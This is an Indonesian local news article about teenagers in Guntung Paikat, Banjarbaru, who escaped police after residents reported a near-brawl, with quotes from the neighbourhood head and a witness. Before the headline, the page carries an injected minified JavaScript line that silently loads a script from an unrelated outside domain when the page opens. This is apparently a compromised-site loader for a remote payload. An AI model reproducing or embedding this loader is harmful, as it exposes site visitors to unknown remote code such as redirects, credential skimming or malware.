(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Kelompok Pemuda Bersajam Lolos dari Kejaran Polisi

KANALKALIMANTAN.COM, BANJARBARU – Sekelompok remaja di Kawasan RTH Guntung Paikat, Jalan Simpang Rambai, Kecamatan Banjarbaru Selatan berhasil lolos dari kejaran polisi usai dilaporkan warga karena nyaris terlibat perkelahian pada Jumat (17/11/2023) malam kemarin.

Menurut informasi yang dihimpun, kepolisian datang ke lokasi kejadian karena menerima laporan dugaan adanya sekelompok remaja sekitar pukuk 22.00 Wita.

Ketua RT setempat, Sudharmin (57) mengungkapan, meski sekelompok remaja itu lolos dari kejaran, namun di lokasi polisi mendapati sebuah senjata tajam nampak seperti gergaji dibuat seperti model sebuah parang.

“Panjang sajamnya, ada sepertinya sekitar 60 sentimeter lebih itu sajamnya saya lihat dari foto,” ujar Sudarmin, Ketua RT 1 RW 3 Kelurahan Guntung Paikat Kecamatan Banjarbaru Selatan, saat dikonfirmasi, Sabtu (18/11/2023).

Dia membeberkan menurut cerita warga, awalnya sekelompok remaja itu diketahui sedang nongkrong.

Biasanya, ungkap dia, sejumlah remaja juga kerap oleh warga berkumpul di kawasan itu, bahkan ada yang membawa minuman keras (miras).

“Tadi malam kebetulan saya gak ada di tempat tapi laporan dari warga remaja kumpul di situ.

Kemungkinan bahkan dari mereka ada membawa miras juga, tapi ada yang melapor dan polisi datang mereka lari sehingga tidak ada yang tertangkap,” ungkap dia.

Beberapa bekas botol miras juga kerap ditemukan warga seperti berupa miras-miras hasil campuran atau yang disebut gaduk.

Meski begitu ia menegaskan bahwa sekelompok remaja itu bukan lah warga di kawasan RT yang dia tempati.

“Gak ada yang dari warga kami, warga kami gak pernah ikut macem-macam, cuma rata-rata yang pernah kejadian itu sempat ada remaja juga kena tapi dari luar kelurahan kita,” tegas dia.

Sudarmin menjelaskan bahwa kejadian polisi menertibkan sekelompok remaja itu sudah terjadi sekitar tiga kali di kawasan tersebut.

Pertama disebutkannya, polisi berhasil mengamankan empat orang remaja yang sama diduga akan terlebihat perkelahian.

Menyusul kemudian dirinya bersama dengan warga kembali melaporkan dua orang remaja yang berasal dari RT 2 dan dari perumahan seribu dengan kasus yang sama.

“Sering kejadian, sebenarnya gak tadi malam saja. Polisi datang itu sudah sekitar tiga kali lah, yang pertama itu empat orang ditangkap dari Guntung Manggis,” ungkap Katua RT lagi.

“Yang menjadi masalah sebenarnya karena rata-rata mereka anak di bawah umur, karena pernah kami yang tangkap dua orang, kami laporkan ke polres tapi masih di bawah umur dia dibebaskan, padahal bawa sajam juga,” sambungnya menjelaskan.

Hal itu juga kata dia yang menjadi masalah di mana remaja- remaja itu akan kembali lagi berkumpul di kawasan itu tepatnya di beberapa minggu-minggu berlalu usai polisi berjaga.

“Habis ini pasti sepi nanti malam, apalagi malam minggu biasanya seandainya gak ada polisi tadi malam ini pasti ramai, tapi nanyi beberapa minggu mulai lagi namanya anak-anak juga susah ya,” pungkas dia.

Hal senada juga diungkapkan Ritawati, salah seorang warga mengaku sempat melihat kejadian.

Awal mulanya dia melihat sekelompok remaja itu terlihat seperti nongkrong bercanda dan bernyanyi-nanyi saja.

“Aku duduk di teras rumah gak terlalu jelas tapi kelihatannya awalnya itu ya nyanyi nyanyian ketawa-katawa, sudah sering nongkrong begitu tapi bukan anak sini. Aku kira bercandaan aja tapi makin ramai ternyata,” ungkap Ritawati saat diwawancarai.

Kanalkalimantan.com masih mencoba menghubungi Kasi Humas Polres Banjarbaru untuk mengkonfirmasi tindak lanjut dari kasus ini. (kanalkalimantan.com/wanda)

Reporter : wanda
Editor : Dhani